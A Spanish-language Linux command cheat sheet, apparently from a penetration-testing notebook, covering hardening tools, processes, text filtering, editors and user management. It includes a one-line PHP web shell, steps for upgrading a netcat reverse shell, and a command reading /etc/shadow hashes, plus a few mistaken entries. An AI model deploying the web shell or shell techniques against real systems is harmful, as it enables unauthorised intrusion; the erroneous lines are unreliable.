Buscar archivos con el mismo HASH MD5 desde el directorio actual:
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
Ver fecha actual con petición curl:
curl -sS https://worldtimeapi.org/api/timezone/Europe/Madrid | awk 'NR==1' | awk '{print$4}' FS=":"
Crear archivo .php para activar conexión remota desde navegador mediante shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
🈂️ TRATAMIENTO DE LA TTY (MEJORAR UNA SHEL PRECARIA)
En un entorno Linux, TTY (TeleTYpewriter) es un término que se refiere a una interfaz de texto que permite la comunicación entre el usuario y el sistema. Originalmente, los TTY eran dispositivos físicos (teletipos) que se utilizaban para interactuar con los sistemas informáticos, pero en la actualidad, el término se refiere principalmente a las terminales virtuales o consolas de texto en sistemas modernos.
Cuando se habla de tratar la TTY se hace referencia a mejorar el display de la shell, o incluso de mejorar de shell (por ejemplo de una sh a una bash). A continuación, algunas formas de lograrlo cuando manejamos una shell remota que entra por un puerto dado, "escuchando" con NetCat:
1️⃣ MÉTODO 1 (Más sencillo, aunque no suele funcionar. Diagnosticar tipo de terminal con echo $TERM):
shell
bash
2️⃣ MÉTODO 2:
1º. (Inicia una sesión de bash interactiva, descartando la grabación de la sesión)
script /dev/null -c bash
2º. (Suspende el proceso actual en la terminal y lo envía a segundo plano)
[ctrl] + [Z]
3º. (Configura la terminal en modo "raw" o "crudo" y desactiva el eco, luego retoma el proceso suspendido anteriormente)
stty raw -echo; fg
zsh: suspended nc -nlvp 4444
NOTA: Si la terminal queda en un estado inestable o falla, recuperarla con:
stty sane
o
reset
4º. (No se ve el input. Reinicia la configuración de la terminal al tipo "xterm"):
reset xterm
5ª. (Establece el tipo de terminal como "xterm")
export TERM=xterm
6ª. (Establece bash como la shell predeterminada para la sesión actual)
export SHELL=bash
3️⃣ MÉTODO 3 (comprobar si python/python3 están presentes en el sistema con which python/which python3):
1º. (Este comando usa Python para invocar una shell interactiva)
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
2º. (Ejecuta una bash shell mientras suprime la grabación de log de la sesión)
/usr/bin/script -qc /bin/bash /dev/null
3º. (Establece un tipo de sesión de terminal que soporte funciones avanzadas como 256 colores)
export TERM=xterm-256color
3️⃣ MÉTODO 4 (comprobar si perl está presente en el sistema con which perl):
1º. (Estos comandos usan Perl para invocar una shell interactiva)
perl -e 'exec "/bin/bash";'
o
perl -e 'require "pty.pm"; PTY::spawn("/bin/bash");'
2º. (Ejecuta una bash shell mientras suprime la grabación de log de la sesión)
/usr/bin/script -qc /bin/bash /dev/null
3º. (Establece un tipo de sesión de terminal que soporte funciones avanzadas como 256 colores)
export TERM=xterm-256color
🔁 CONTRAMEDIDAS
Reducir los permisos de /tmp a solo lectura y ejecución, de grupos y resto usuarios:
sudo chmod 755 /tmp
____________________________________________________________________________________________
CHKROOTKIT
Programa que busca rootkits en tu sistema.
Instalar:
sudo apt-get install chkrootkit
Ver parámetros:
man chkrootkit
Ejecutar:
sudo chkrootkit
Ejecutar versión preconfigurada, diseñada para ser ejecutada diariamente por un temporizador de systemd o como un trabajo de cron:
sudo chkrootkit-daily
El archivo de configuración se encuentra en:
/etc/chkrootkit/chkrootkit.conf
____________________________________________________________________________________________
LYNIS
Herramienta de auditoría de seguridad que puede ayudar a identificar problemas de seguridad.
Instalar:
sudo lynis --update
Ejecutar:
sudo lynis audit system
____________________________________________________________________________________________
IPTABLES
Para comprobar que solo los servicios necesarios están expuestos a la red.
Listar las reglas actuales y ajustarlas según sea necesario con:
iptables -L -n -v
____________________________________________________________________________________________
FAIL2BAN
Herramienta que protege el sistema contra ataques de fuerza bruta bloqueando IPs que muestran comportamientos sospechosos.
Instalar:
sudo apt update
sudo apt-get install fail2ban
Configurar:
sudo nano /etc/fail2ban/jail.local
Habilitar y reiniciar Fail2Ban una vez configurado:
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
Verificar el estado del servicio con:
sudo systemctl status fail2ban
Uso de Fail2Ban-client:
sudo fail2ban-client status sshd
Desbloquear una dirección IP:
sudo fail2ban-client unban [IP]
____________________________________________________________________________________________
UFW
Firewall fácil de usar que puede ayudarte a gestionar el tráfico de red entrante y saliente.
Instalar:
sudo apt-get install ufw
Habilitar:
sudo ufw enable
Deshabilitar:
sudo ufw disable
Restablecer valores predeterminados:
sudo ufw reset
Listar reglas del firewall:
sudo ufw status
Permitir un servicio específico (por ejemplo ssh):
sudo ufw allow ssh
Deshabilitar un servicio específico (por ejemplo ssh):
sudo ufw delete allow ssh
Configurar reglas del firewall (ejemplo):
sudo ufw allow 6000:6007/tcp
sudo ufw allow 6000:6007/udp
Configurar reglas del firewall más específicas (ejemplo):
sudo ufw allow from 192.168.1.100 to any port 22
____________________________________________________________________________________________
RKHUNTER
Herramienta útil para detectar rootkits.
Instalar:
sudo apt-get install rkhunter
Actualizar:
rkhunter --update
Ejecutar escaneo del sistema:
sudo rkhunter --check --skip-keypress
Configurar cronjob de escaneo automático, a las 16:00 de cada lunes:
0 16 * * 1 /usr/bin/rkhunter --check --cronjob --report-warnings-only
____________________________________________________________________________________________
TIGER
Herramienta para monitorear cambios en los archivos del sistema, lo cual es útil para detectar modificaciones no autorizadas.
Instalar:
sudo apt-get install tiger
Ejecutar auditoria:
sudo tiger -h
____________________________________________________________________________________________
SNORT
Sistema de detección de intrusiones de red.
Instalar:
sudo apt-get install snort
Archivo de:
sudo apt-get install tiger
Ejecutar:
sudo snort -q -c /etc/snort/snort.conf -i eth0
____________________________________________________________________________________________
SSH HARDENING
- Desactivar el inicio de sesión como root
- Utilizar claves SSH en lugar de contraseñas
- Limitar los intentos de inicio de sesión fallidos
🖥️ SISTEMA
Identificar parámetros:
pwd (directorio actual)
whoami (nombre de usuario actual)
uname (nombre de la máquina)
uname -r (versión del Kernel)
hostname (nombre del host)
hostname -i (IP localhost)
hostname -I (IP privada)
echo $0 (shell actual)
tty (consola actual. por defecto /dev/pts/0)
getconf LONG_BIT (ver si el sistema es de 32bit o de 64bit)
Información detallada:
uname -a
KERNEL HOST Versión KERNEL DETALLES KERNEL Fecha compilación Arquitectura SO
Linux kaliSF01 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-04-09) x86_64 GNU/Linux
Últimos comandos utilizados por el usuario actual:
history
Ruta del archivo donde se almacena el historial de comandos del usuario actual (.bash_history)(.zsh_history):
echo $HISTFILE
Equivale al último argumento en consola:
!$
Ver código de estado del último comando:
echo $?
0 (✔️ el comando se ejecutó con éxito)
1-255 (❌ el comando falló. El rango contempla valores específicos para cada error)
Procesos del sistema:
top (procesos en ejecución y consumo de recursos)
htop (top mejorado. requiere instalación)
systemctl (ver servicios del sistema)
ps (procesos en ejecución en el terminal)
ps aux (listar procesos del sistema)
ps -faux (listar procesos del sistema)
kill [proceso] ("matar" un proceso)
du (consumo de memoria de ficheros/directorios)
[instrucción] & (para ejecutar un proceso en segundo plano. indicar al final de la instrucción)
fg [proceso] (traer un proceso en segundo plano al primer plano)
Activar/desactivar "Modo Encubierto" o "Modo Windows":
kali-undercover
🐚 SHELL
Ver la shell del usuario actual:
echo $SHELL
/usr/bin/zsh
echo $0
/usr/bin/zsh
Salir de la shell actual (retroceder privilegios):
exit
Rutas absolutas de shells más usadas:
/bin/sh (shell básica)
/bin/bash (Bourne Again SHell)
/bin/ash (Almquist SHell)
/bin/dash (Debian almquist SHell)
/bin/fish (Friendly Interactive SHell)
/bin/zsh (Z SHell)
/bin/zkh (Korn SHell)
/bin/tcsh (Tenex C SHell)
Instalar una shell:
sudo apt install [shell]
Cambiar la shell del usuario actual:
chsh -s /bin/sh (establecer sh)
chsh -s /bin/bash (establecer bash)
chsh -s /bin/zsh (establecer zsh)
Simular una bash shell en un entorno sh sin representación visual:
script /dev/null -c bash
📦 INSTALAR / ACTUALIZAR
Actualizar Sistema Operativo:
sudo apt update (ver paquetes de actualización disponibles y actualizar repositorios del sistema)
sudo apt list --upgradable (listar actualizaciones en detalle)
sudo apt upgrade (iniciar actualización del sistema en Linux)
sudo parrot-upgrade (iniciar actualización del sistema en Parrot)
Instalar/Actualizar aplicaciones disponibles en el repositorio del sistema:
sudo apt install [aplicación]
Instalar aplicación descargada en formato .deb (Debian) o .rpm (otras distribuciones):
sudo dpkg -i [aplicación.deb]
sudo dpkg -i [aplicación.rpm]
Desinstalar aplicaciones:
sudo apt remove [aplicación] (desinstalar aplicación, pero no limpia librerías)
sudo apt autoremove (limpieza de librerías residuo que quedan después de desinstalar una aplicación)
FLATPAK (herramienta asistente de instalación. aplicaciones en: https://flathub.org):
sudo apt install flatpak (instalar Flatpack)
sudo flatpak --version (ver versión instalada de Flatpack)
flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo (instalar repositorio Flatpack)
sudo flatpak install [aplicación] (instalar aplicación Flatpack con el repositorio instalado)
sudo flatpak uninstall [aplicación] (desinstalar aplicación Flatpack)
sudo flatpak uninstall --unused (desinstalar remanentes de apliacionesn desinstaladas)
SNAP (herramienta asistente de instalación. aplicaciones en: https://snapcraft.io):
sudo apt update (ver paquetes de actualización disponibles y actualizar repositorios del sistema)
sudo apt install snapd (instalar Snap)
sudo ln -s /var/lib/snapd/snap /snap (para que las aplicaciones de Snap sean visibles en el menú del sistema)
sudo systemctl restart snapd (reiniciar servicio Snap)
sudo systemctl status snapd (ver estado del servicio Snap, si se encuentra o no activo)
sudo systemctl start snapd (iniciar servicio Snap si no se encuentra en ejecución)
sudo snap install [aplicación] -- classic (instalar aplicaciones por nombre)
sudo snap list (ver listado de aplicaciones instaladas de Snap)
sudo snap remove [aplicación] (desinstalar aplicación de Snap)
📀 PROCESOS DEL SISTEMA
Ejecutando una aplicación se bloqueará la shell (1er plano). Ejemplo con Firefox:
firefox
Detener proceso en ejecución (en primer plano):
[ctrl] + [z]
Restaurar proceso detenido:
bg
Cerrar proceso en ejecución (1er plano):
[ctrl] + [c]
Ejecutar aplicación (en 2do plano) sin bloquear la shell, mostrando la actividad por consola. Ejemplo con Firefox:
firefox &
Ejecutar aplicación (en 2do plano) sin bloquear la shell, ocultando la actividad por consola. Ejemplo con Firefox:
firefox &> /dev/null & disown
Para ver los procesos en ejecución en 2do plano, iniciados desde la terminal actual:
jobs
Para escalar un proceso corriendo en 2do plano, a 1er plano:
fg
Para escalar un proceso corriendo en 2do plano, a 1er plano, especificando el proceso por su orden de aparición:
fg %[número]
Mostrar el PID (Process ID) de un proceso en ejecución:
pgrep firefox
Matar proceso/s en ejecución:
kill %
Matar proceso/s en ejecución de forma forzosa evitando
ejecuciones secundarias del programa en ejecución:
kill -9 [número]
Matar un proceso en ejecución por su PID (Process ID):
kill [PID]
Matar un proceso en ejecución por nombre:
killall [nombre_proceso]
Mostrar TODOS los procesos del sistema:
ps aux
Buscar un proceso (ejemplo con Firefox) entre todos los procesos del sistema:
ps aux | grep firefox
Parar proceso en ejecución:
ctrl + c
Pasarlo a segundo plano para liberar la shell:
ctrl + z
Matar proceso en ejecución:
kill %
📋 GETENT
El comando getent en Linux se utiliza para obtener entradas de bases de datos. Este comando puede consultar diferentes tipos de bases de datos, como las de usuarios, grupos, contraseñas, hosts, servicios y más, que están configuradas en el sistema.
USOS COMUNES:
getent passwd (Listar todos los usuarios del sistema)
getent group (Listar todos los grupos del sistema)
getent hosts (Listar todos los hosts del sistema)
getent services (Listar todos los servicios del sistema)
getent passwd [usuario] (Obtener la información de un usuario concreto)
getent group [grupo] (Obtener la información de un grupo concreto)
⏲️ TAREAS CRON
Las tareas programadas se encuentran en:
/etc/cron.d
Listar todas las tareas programadas para el usuario actual:
crontab -l
Valores no numéricos:
* (todos los valores posibles)
, (separador de valores 1,2,3)
- (intervalo de valores 0-6)
? (sin valore específico)
*/ (cada X)
🌐 Crontab Expression Editor

✏️ EDICIÓN DE OUTPUT
En un entorno de terminal o consola, "output" se refiere a la salida de información generada por comandos o programas ejecutados en la terminal. Esta salida puede incluir resultados de comandos, mensajes de error, registros de actividades, entre otros. Los comandos en Linux producen salida que puede ser vista directamente en la terminal o redirigida a archivos para su posterior análisis o registro. La gestión de esta salida es crucial para la depuración, el monitoreo del sistema y la automatización de tareas.
Para modificar un output en cascada, de izquierda a derecha, se puede ir filtrando mediante comandos, delimitados por pipes (|).
SINTAXIS:
[comando] | [comando] | [comando]
EJEMPLO:
Aplicando esta estructura, filtraremos el output que genera el comando ifconfig, para mostrar primero solo la segunda línea, y finalmente solo la IP privada contenida en el segundo argumento de la segunda línea.
ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.85 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::a00:27ff:fe19:5c4d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:19:5c:4d txqueuelen 1000 (Ethernet)
RX packets 21407 bytes 1611537 (1.5 MiB)
RX errors 0 dropped 801 overruns 0 frame 0
TX packets 7278 bytes 733776 (716.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ifconfig eth0 | awk 'NR==2'
inet 192.168.1.85 netmask 255.255.255.0 broadcast 192.168.1.255
ifconfig eth0 | awk 'NR==2' | awk '{print$2}'
192.168.1.85
🔽 STDIN (0)
En Linux, STDIN (Standard Input) es el flujo de entrada estándar que acepta texto como su entrada. Este concepto es fundamental para entender cómo los comandos y programas interactúan con la entrada del usuario o con otros programas en un entorno de terminal o script.
Algunos puntos clave sobre stdin:
◻️ Flujo de datos: stdin es uno de los tres flujos de datos estándar en Linux, junto con stdout (standard output) y stderr (standard error). Estos flujos permiten la transferencia de datos entre comandos y programas, así como entre diferentes partes de un programa.
◻️ Redirección de entrada: Puedes redirigir la entrada de un comando desde un archivo, otro comando o directamente desde el teclado utilizando el operador <. Esto es útil para automatizar tareas o para proporcionar datos a un programa sin necesidad de interacción manual.
◻️ Implementación: En términos de implementación, stdin es un manejador de archivos (FILE) en C, que se conecta automáticamente al 'archivo' de entrada estándar, típicamente el archivo 1 según el sistema operativo. Este manejador se utiliza para leer datos de entrada, y no tiene un valor significativo como un puntero o un entero; solo se utiliza para leer datos de entrada.
◻️ Uso en scripts y programas: En scripts de shell o programas escritos en lenguajes como C o Python, puedes utilizar stdin para leer datos de entrada. Por ejemplo, en C, puedes usar funciones como fgets() para leer líneas de texto de stdin. En Python, puedes usar input() para leer una línea de texto de stdin.
◻️ Detección de lectura de stdin: No existe una forma concreta de determinar si un programa lee de stdin sin intentarlo. Una forma común es probar redirigiendo la entrada del programa o revisando la documentación del programa (manual con man) para ver si menciona la posibilidad de leer desde stdin.
🔼 STDOUT (1)
En Linux, STDOUT (Standard Output) es el flujo de salida estándar de un proceso. Es la forma en que los programas envían información normalmente al usuario o a otros programas. Por ejemplo, cuando ejecutas un comando en la terminal, la salida del comando se muestra en la pantalla, lo cual es una forma de STDOUT. STDOUT puede ser redirigido a diferentes destinos, como archivos, otros programas o incluso ignorado, utilizando operadores de redirección como > para sobrescribir un archivo con la salida, >> para agregar a un archivo sin eliminar su contenido, y &> para redirigir tanto STDOUT como STDERR a un mismo destino.
STDOUT se representa con el número 1 y se utiliza para la salida normal de un programa. Por ejemplo, cuando ejecutas un comando como ls, la lista de archivos y directorios es enviada a STDOUT.
STDIN (Standard Input) es el flujo de entrada estándar, representado por el número 0, que se utiliza para recibir datos de entrada desde el usuario o de otros programas. Por ejemplo, cuando presionas Enter después de escribir un comando en la terminal, esa entrada se convierte en STDIN para el comando.
STDERR (Standard Error) es el flujo de salida de error, representado por el número 2, que se utiliza para enviar mensajes de error o advertencias. A diferencia de STDOUT, STDERR no se mezcla con la salida normal del programa, lo que permite separar claramente los mensajes de error de la salida normal.
Los flujos de datos pueden ser visualizados en el directorio /dev con el comando ls -l /dev/std*, donde /dev/stdout es un enlace simbólico a /proc/self/fd/1, representando STDOUT. Este enfoque permite a los programadores y usuarios manipular fácilmente la entrada y salida de datos en Linux.
Además, Linux ofrece flexibilidad en la redirección de estos flujos de datos. Por ejemplo, puedes redirigir la salida de un comando a otro comando utilizando el operador |, o redirigir la salida de error a /dev/null para ignorarla. Esto es útil para filtrar la salida de comandos, especialmente en scripts y automatizaciones.
❌ STDERR (2)
En Linux, stderr (Standard Error) es uno de los tres flujos de datos principales que se utilizan en la línea de comandos y en la programación. Los otros dos son stdin (entrada estándar) y stdout (salida estándar). Cada uno de estos flujos tiene un propósito específico y un descriptor de archivo asociado:
stdin (ID de flujo 0): Es la fuente de datos de entrada, generalmente el teclado.
stdout (ID de flujo 1): Es el resultado del comando, por defecto se muestra en la pantalla.
stderr (ID de flujo 2): Es el canal por el que se envían mensajes de error. Aunque por defecto también se muestra en la pantalla, se diferencia de stdout para permitir una manipulación separada de los mensajes de error.
El error estándar (stderr) se utiliza para enviar mensajes de error durante la ejecución de programas. A diferencia de stdout, que se utiliza para la salida normal de los programas, stderr se destina específicamente a errores. Esto permite una distinción clara entre la salida normal y los errores, lo cual es útil para la depuración y el manejo de errores en scripts y programas.
En términos de programación, especialmente en C y C++, stderr se puede utilizar para imprimir mensajes de error directamente en la consola sin mezclarlos con la salida normal del programa. Por ejemplo, en C, puedes usar fprintf(stderr, "Mensaje de error: %s\n", mensaje); para imprimir un mensaje de error en stderr. Esto es útil para proporcionar retroalimentación detallada sobre los errores que ocurran durante la ejecución de un programa, permitiendo a los desarrolladores identificar y solucionar problemas más fácilmente.
Además, en Linux, puedes redirigir stderr a un archivo o a otro programa utilizando la sintaxis de redirección de la línea de comandos. Por ejemplo, comando 2> archivo_error.txt redirige todos los mensajes de error a archivo_error.txt, mientras que comando 2>&1 redirige tanto stderr como stdout al mismo archivo o dispositivo de salida especificado
En resumen, stderr es un componente crucial en la gestión de errores en Linux y en la programación, permitiendo una separación clara entre la salida normal y los mensajes de error, facilitando así la depuración y el manejo de errores en scripts y programas.
🗑️ /DEV/NULL
En Linux, /dev/null es un dispositivo virtual con la propiedad especial de que cualquier dato escrito en él desaparece o se pierde. Por esta característica, también se le llama bitbucket o agujero negro. Se utiliza comúnmente para descartar salida y errores, lo que hace que la ejecución de comandos sea más limpia. También puede emplearse para la eliminación segura de archivos y la limpieza de archivos de registro. Al entender su funcionalidad, se permite una operación eficiente en la línea de comandos en Linux.
&>/dev/null (redirige TODO el output a /dev/null)
0>/dev/null (redirige la entrada estándar (🔽STDIN) a /dev/null)
1>/dev/null (redirige la salida estándar (🔼STDOUT) a /dev/null)
2>/dev/null (redirige la salida de error estándar (❌STDERR) a /dev/null)
▶️ ECHO y PRINTF
echo hola (crear output "hola")
echo "\n hola" (crear output "hola" con un salto de línea previo)
echo hola > [archivo] (guarda output "hola" en archivo "file")
echo ¿que tal? >> [archivo] (guarda output nuevo a archivo "file")
printf hola (crear output "hola")
printf "\n hola" (crear output "hola" con un salto de línea previo)
printf hola > [archivo] (guarda output "hola" en archivo "file")
printf ¿que tal? >> [archivo] (guarda output nuevo a archivo "file")
🔎 GREP
El comando grep en Linux es una herramienta poderosa y versátil utilizada para buscar patrones de texto dentro de archivos o en la entrada estándar de la terminal. Cuando encuentra una coincidencia, imprime las líneas que contienen ese patrón. Esto lo hace especialmente útil para administradores de sistemas y desarrolladores, quienes pueden usar grep para buscar entradas específicas en archivos de registro, localizar variables y funciones dentro de bases de código, y detectar problemas relacionados con el sistema.
Filtrar output con GREP después de una | (pipe):
[cadena de comandos] | grep [termino a buscar] (filtra un output buscando el término dado)
Posibles usos:
[output] | grep "hola cara cola" (buscar una secuencia de varias palabras entrecomillándolas)
[output] | grep -A 2 "hola" (filtrar a partir de "hola" + 2 líneas adicionales a partir de la línea que contiene "hola")
[output] | grep hola * (buscar el término "hola" en todos los archivos del directorio actual)
[output] | grep -s hola * (si el anterior tira error al haber directorios. -s para obviarlos)
[output] | grep hola /etc/passwd (buscar el término "hola" en el archivo de la ruta indicada)
[output] | grep -v hola [archivo] (mostrar todas las líneas MENOS las que contengan "hola" en el archivo indicado)
[output] | grep -E 'hola|hello' /etc/passwd (buscar dos o más términos en el archivo de la ruta indicada)
✂️ AWK
Imprimir el X argumento usando AWK:
[output] | awk 'NR==2' | awk '{print$X}' FS=":"
∎ definir nº de línea
∎ definir nº de argumento
∎ delimitador (divide argumentos a partir de ":" u otro caracter que se le indique)
_____________________________________________________________________________________________
EJEMPLO sin delimitador. 5º argumento:
echo "hola esto es una prueba" | awk '{print$5}'
prueba
EJEMPLO con delimitador. 2º argumento:
echo "10 20 : 30 40 : 50 60" | awk '{print$2}' FS=":"
30 40
✂️ CUT
Imprimir el X argumento usando CUT:
[output] | cut -d ':' -fX
∎ definir nº de argumento
∎ delimitador (divide argumentos a partir de ":" u otro caracter que se le indique)
_____________________________________________________________________________________________
EJEMPLO con delimitador. 2º argumento delimitado por espacios:
echo "hola esto es una prueba" | cut -d ' ' -f2
esto
EJEMPLO con delimitador. 2º argumento delimitado por dos puntos:
echo "10 20 : 30 40 : 50 60" | cut -d ':' -f2
30 40
🔀 SED
El comando sed (Stream EDitor) en Linux es una herramienta poderosa y versátil utilizada para manipular texto en archivos. Su principal función es buscar y reemplazar texto dentro de archivos, pero también puede insertar, eliminar y modificar texto de manera eficiente. sed opera línea por línea, procesando cada línea de un archivo según las instrucciones dadas, y luego produce una salida que puede ser redirigida a otro archivo o mostrada en la terminal.
EJEMPLO. Reemplazar todas las palabras "uno" del output, por la palabra "tres":
echo "si hay uno, hay uno, y no cuatro" | sed 's/uno/tres/g'
si hay tres, hay tres, y no cuatro
EJEMPLO. Reemplazar todas las palabras "unix" del archivo dado, por la palabra "linux":
sed 's/unix/linux/g' [archivo]
PARÁMETROS:
-e (Permite ejecutar uno o varios scripts sed)
-f (Permite cargar el script sed desde un archivo)
-n (Evita que sed imprima automáticamente cada línea de salida)
-i (Edita archivos en su lugar, es decir, modifica el archivo original)
-u (No utiliza ningún buffer de datos, lo que puede ser útil para manejar archivos muy grandes)
-s (Trata múltiples archivos como un solo flujo de datos, en lugar de procesar cada archivo por separado)
-r (Acepta expresiones regulares extendidas, útil con versiones de sed que no soportan expresiones regulares extendidas por defecto)
💬 TR
EJEMPLO. Convertir mayúsculas en minúsculas:
echo "HELLO" | tr '[:upper:]' '[:lower:]'
hello
EJEMPLO. Eliminar espacios:
echo "hi you" | tr -s ' '
hiyou
EJEMPLO. Convertir el caracter "e" en caracter "a":
echo "hello" | tr 'e' 'a'
hallo
EJEMPLO. Realizar un ROT13:
echo sverjnyy | tr 'A-Za-z' 'N-ZA-Mn-za-m'
firewall
➗ CÁLCULO
Binario para el cálculo:
expr
Ejemplo de formulación. valores separados por espacios:
expr 2 + 2
4
Operadores matemáticos:
+ (suma)
- (resta)
* (multiplicación)
/ (división)
** (exponencial)
% (módulo)
EJEMPLOS:
echo $((3+2)) (suma = 5)
echo $((3-2)) (resta = 1)
echo $((3*2)) (multiplicación = 6)
echo $((2/2)) (división = 1)
echo $((2**3)) (exponencial. 2 elevado a 3 = 8)
echo $((50%20)) (porcentaje. 50% de 20 = 10)
📝 NANO
[←] [↑] [→] [↓] (mover cursor)
[ctrl] + [x] (salir) ❌
[ctrl] + [g] (ayuda) ❓
[ctrl] + [o] (guardar) 💾
[ctrl] + [c] (cancelar acción) 📛
[alt] + [6] (copiar toda la línea) ✏️
[alt] + [a] / [alt] + [6] (marcar el texto desde alt + a y terminar de copiar con alt + 6) ✏️
[ctrl] + [k] (cortar toda la línea) ✂️
[alt] + [a] / [ctrl] + [k] (marcar el texto desde alt + a y terminar de cortar con ctrl + k) ✂️
[ctrl] + [u] (pegar el texto copiado / cortado)
[ctrl] + [w] (buscar) 🔎
[ctrl] + [y] (ir a página anterior) ◀️
[ctrl] + [v] (ir a página siguiente) ▶️
[ctrl] + [u] (deshacer) ⏮️
[ctrl] + [e] (rehacer) ⏭️
[ctrl] + [r] (insertar un archivo en el actual) 📄
[ctrl] + [nº] (ir a un número de línea concreto) 📑
[ctrl] + [j] (justificar párrafo actual) ➖
📝 VIM
Cambiar modos
[i] (activar modo escribir) ✏️
[esc] (activar modo navegar) 👁️
En Modo Navegar
[←] [↑] [→] [↓] (mover cursor)
[u] (deshacer última acción) ◀️
[g] (ir al final del texto) ⏩
[0] (ir al principio del texto) ⏪
[$] (ir al final de la línea) ▶️
[w] (saltar palabra)
[y] (copiar lo seleccionado) 🔗
[p] (pegar lo copiado) 🔗
[o] (crear nueva línea)
gg (ir a primera línea)
23g (ir a línea 23)
:w (guardar cambios) 💾
:wq (salir y guardar) 💾❌
:q (salir de VIM) ❌
:ql (salir sin guardar) ❌
:q! (forzar salir sin guardar) ❌❌
Editar archivo remoto con VIM:
vim scp://usuario@host//ruta/archivo
🟨 JS-BEAUTIFY
El comando js-beautify sirve para reordenar un texto desordenado en código JavaScript.
Instalación:
sudo apt install jsbeautifier
Reordenar texto de archivo:
js-beautify code.js
Reordenar texto de archivo y guardar en archivo nuevo:
js-beautify code.js > code2.js
Reordenar texto de archivo y guardar en otro existente:
js-beautify code.js >> code2.js
🧑 USUARIOS
Ver usuario actual:
whoami
Ver usuarios conectados:
who
ROOT:
sudo su (escalar privilegios a Root)
sudo [comando] (ejecutar comando como Root)
sudo !! (ejecutar último comando como Root)
sudo -k (eliminar token de privilegios)
su [usuario] (sustituir usuario)
exit (desescalar privilegios)
Crear y borrar usuarios:
adduser [usuario] (crear usuario nuevo)
useradd [usuario] (crear usuario nuevo)
useradd -s /bin/sh [usuario] (definiendo su shell)
useradd [usuario] -s /bin/bash (definiendo su shell)
useradd [usuario] -s /bin/zsh (definiendo su shell)
useradd [usuario] -d /home/we (definiendo su directorio)
useradd [usuario] -m /home/we (define directorio si no existe)
userdel [usuario] (borrar usuario)
userdel -r [usuario] (borrar usuario + su directorio home)
deluser --remove-home [usuario] (borrar usuario + su directorio home. alternativa)
Crear usuario definiendo su directorio y su shell en un one-liner:
sudo useradd -m -d /home/invitado -s /bin/zsh invitado
Contraseña de usuario:
passwd [usuario] (definir / cambiar contraseña usuario)
/usr/bin/passwd [usuario] (definir / cambiar contraseña usuario)
sudo /usr/bin/grep '^usuario' /etc/shadow (ver contraseña encriptada de usuario en /etc/shadow. requiere root)
Modificar parámetros de usuario:
usermod -c "comentario" [usuario] (añadir comentario)
usermod -d /home/carpeta [usuario] (cambiar directorio)
usermod -e 2025-05-10 [usuario] (fecha expiración)
usermod -g (grupo) [usuario] (cambiar grupo)
usermod -L [usuario] (bloquear usuario)
usermod -U [usuario] (desbloquear usuario)
Comprobar existencia de usuario:
cat /etc/passwd | grep usuario (buscar por nombre)
tail /etc/passwd (buscar sin saber el nombre)
👨👨👦 GRUPOS
Crear y borrar grupos:
groupadd [grupo] (crear grupo)
groupdel [grupo] (eliminar grupo)
Modificar grupos:
usermod -a -G [grupo] [usuario] (Añadir usuario a grupo)
chgrp [grupo] /ruta/archivo (cambiar grupo de archivo/directorio)
Contraseñas grupos:
passwd [usuario] (definir contraseña usuario)
Ver grupos de pertenencia:
groups (muestra todos los grupos simplificado)
id (muestra todos los grupos con Nº id)
id | awk '{print $1}' (muestra Nº id de usuario)
id | awk '{print $2}' (muestra Nº id de grupo)
✅ PERMISOS
